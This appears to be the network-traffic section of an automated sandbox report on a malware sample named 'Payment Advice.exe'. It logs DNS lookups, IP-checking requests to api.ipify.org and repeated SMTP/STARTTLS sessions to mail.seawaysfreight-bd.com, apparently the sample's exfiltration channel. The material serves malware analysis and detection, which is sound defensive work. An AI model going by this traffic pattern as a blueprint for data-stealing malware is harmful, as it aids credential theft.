Apr 18, 2024 18:30:18.963532925 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.110522032 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.156166077 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.306268930 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.306340933 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.306340933 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.306879997 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.306926012 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.306951046 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.306974888 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.307039022 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.307053089 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.308614969 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.308648109 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.308680058 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.308700085 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.653143883 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.653170109 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.653512001 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.653562069 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:19.653574944 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.654696941 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:19.656250000 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:20.002943039 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:20.798705101 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:20.843257904 CEST	49775	587	192.168.2.4	94.100.26.91

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 18:26:01.840276957 CEST	57377	53	192.168.2.4	1.1.1.1
Apr 18, 2024 18:26:01.944864035 CEST	53	57377	1.1.1.1	192.168.2.4
Apr 18, 2024 18:26:03.248054981 CEST	52350	53	192.168.2.4	1.1.1.1
Apr 18, 2024 18:26:04.091023922 CEST	53	52350	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 18:26:01.840276957 CEST	192.168.2.4	1.1.1.1	0x7fa5	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 18, 2024 18:26:03.248054981 CEST	192.168.2.4	1.1.1.1	0xbbe6	Standard query (0)	mail.seawaysfreight-bd.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 18:26:01.944864035 CEST	1.1.1.1	192.168.2.4	0x7fa5	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 18, 2024 18:26:01.944864035 CEST	1.1.1.1	192.168.2.4	0x7fa5	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 18, 2024 18:26:01.944864035 CEST	1.1.1.1	192.168.2.4	0x7fa5	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 18, 2024 18:26:04.091023922 CEST	1.1.1.1	192.168.2.4	0xbbe6	No error (0)	mail.seawaysfreight-bd.com	seawaysfreight-bd.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 18:26:04.091023922 CEST	1.1.1.1	192.168.2.4	0xbbe6	No error (0)	seawaysfreight-bd.com		94.100.26.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.26.13.205	443	7404	C:\Users\user\Desktop\Payment Advice.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 16:26:02 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-18 16:26:02 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 16:26:02 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 876603a4ece1b0c4-ATL
2024-04-18 16:26:02 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	104.26.13.205	443	7816	C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 16:26:06 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-18 16:26:06 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 16:26:06 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 876603c0dbcf44e7-ATL
2024-04-18 16:26:06 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	104.26.13.205	443	6576	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 16:26:16 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-18 16:26:16 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 16:26:16 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 876603fa8b556779-ATL
2024-04-18 16:26:16 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	104.26.13.205	443	4092	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 16:26:23 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-18 16:26:24 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 16:26:24 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8766042cca6617fb-ATL
2024-04-18 16:26:24 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 18, 2024 18:26:05.086004019 CEST	587	49738	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:26:04 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:26:05.086210012 CEST	49738	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:26:05.503406048 CEST	587	49738	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:26:05.504209995 CEST	49738	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:26:05.918344975 CEST	587	49738	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:26:08.595472097 CEST	587	49740	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:26:08 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:26:08.607039928 CEST	49740	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:26:09.024373055 CEST	587	49740	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:26:09.024564028 CEST	49740	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:26:09.440186024 CEST	587	49740	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:26:17.751367092 CEST	587	49747	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:26:17 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:26:17.751595974 CEST	49747	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:26:18.204749107 CEST	587	49747	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:26:18.204906940 CEST	49747	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:26:18.687135935 CEST	587	49747	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:26:25.561213017 CEST	587	49751	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:26:25 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:26:25.561459064 CEST	49751	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:26:25.960481882 CEST	587	49751	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:26:25.960668087 CEST	49751	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:26:26.370327950 CEST	587	49751	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:27:33.116924047 CEST	587	49753	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:27:32 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:27:33.117080927 CEST	49753	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:27:33.419749022 CEST	587	49754	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:27:33 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:27:33.419884920 CEST	49754	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:27:33.454719067 CEST	587	49753	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:27:33.455034971 CEST	49753	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:27:33.736985922 CEST	587	49754	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:27:33.737164974 CEST	49754	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:27:33.791444063 CEST	587	49753	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:27:34.055052996 CEST	587	49754	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:08.661825895 CEST	587	49755	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:08 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:08.662033081 CEST	49755	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:09.082036018 CEST	587	49755	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:09.082175016 CEST	49755	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:09.491904020 CEST	587	49755	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:10.422605038 CEST	587	49756	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:10 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:10.661952972 CEST	587	49756	94.100.26.91	192.168.2.4	421 daud.aptcom.info lost input connection
Apr 18, 2024 18:28:11.191382885 CEST	587	49757	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:11 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:11.191529989 CEST	49757	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:11.615143061 CEST	587	49757	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:11.615398884 CEST	49757	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:12.033521891 CEST	587	49757	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:13.039503098 CEST	587	49758	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:12 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:13.039908886 CEST	49758	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:13.450272083 CEST	587	49758	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:13.450408936 CEST	49758	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:13.843822956 CEST	587	49758	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:23.357388973 CEST	587	49759	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:23 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:23.357575893 CEST	49759	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:23.674895048 CEST	587	49759	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:23.675051928 CEST	49759	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:23.993309021 CEST	587	49759	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:37.372211933 CEST	587	49760	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:37 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:37.372344017 CEST	49760	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:37.719393969 CEST	587	49760	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:37.719537020 CEST	49760	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:38.066613913 CEST	587	49760	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:41.265181065 CEST	587	49761	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:41 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:41.265366077 CEST	49761	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:41.613657951 CEST	587	49761	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:41.613814116 CEST	49761	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:41.970258951 CEST	587	49761	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:43.405625105 CEST	587	49762	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:43 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:43.405797005 CEST	49762	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:43.754708052 CEST	587	49762	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:43.754901886 CEST	49762	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:44.532633066 CEST	49762	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:44.657258034 CEST	587	49762	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:44.887641907 CEST	587	49762	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:49.258838892 CEST	587	49763	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:49 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:49.259047031 CEST	49763	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:49.601460934 CEST	587	49763	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:49.601843119 CEST	49763	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:49.956204891 CEST	587	49763	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:28:50.824878931 CEST	587	49762	94.100.26.91	192.168.2.4	421 Lost incoming connection
Apr 18, 2024 18:28:56.187978029 CEST	587	49764	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:28:56 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:28:56.188179970 CEST	49764	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:28:56.505361080 CEST	587	49764	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:28:56.506412029 CEST	49764	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:28:56.825459957 CEST	587	49764	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:01.792551994 CEST	587	49765	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:01 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:01.792695045 CEST	49765	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:02.154078007 CEST	587	49765	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:02.154392004 CEST	49765	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:02.501596928 CEST	587	49765	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:10.030574083 CEST	587	49766	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:09 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:10.030719995 CEST	49766	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:10.106517076 CEST	587	49767	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:09 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:10.106657982 CEST	49767	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:10.383198977 CEST	587	49766	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:10.384572983 CEST	49766	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:10.424048901 CEST	587	49767	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:10.424216986 CEST	49767	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:10.732556105 CEST	587	49766	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:10.742633104 CEST	587	49767	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:17.009036064 CEST	587	49768	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:16 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:17.010613918 CEST	49768	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:17.184669971 CEST	587	49769	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:17 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:17.184940100 CEST	49769	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:17.362822056 CEST	587	49768	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:17.363009930 CEST	49768	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:17.416994095 CEST	587	49765	94.100.26.91	192.168.2.4	421 Lost incoming connection
Apr 18, 2024 18:29:17.610515118 CEST	587	49769	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:17.610750914 CEST	49769	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:17.713443041 CEST	587	49768	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:18.026046991 CEST	587	49769	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:25.639596939 CEST	587	49770	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:25 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:25.639875889 CEST	49770	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:25.991235018 CEST	587	49770	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:25.991441965 CEST	49770	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:26.345534086 CEST	587	49770	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:33.801326036 CEST	587	49771	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:33 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:33.801469088 CEST	49771	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:34.048618078 CEST	587	49770	94.100.26.91	192.168.2.4	421 Lost incoming connection
Apr 18, 2024 18:29:34.137705088 CEST	587	49771	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:34.137900114 CEST	49771	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:34.874681950 CEST	49771	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:35.089317083 CEST	587	49771	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:35.874480963 CEST	49771	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:36.177504063 CEST	587	49771	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:36.225358009 CEST	587	49771	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:37.676227093 CEST	587	49771	94.100.26.91	192.168.2.4	421 daud.aptcom.info lost input connection
Apr 18, 2024 18:29:38.070059061 CEST	587	49772	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:37 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:38.070211887 CEST	49772	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:38.417752981 CEST	587	49772	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:29:38.417949915 CEST	49772	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:38.727986097 CEST	587	49773	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:29:38 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:29:38.730680943 CEST	49773	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:29:38.779934883 CEST	587	49772	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:29:39.084141016 CEST	587	49773	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
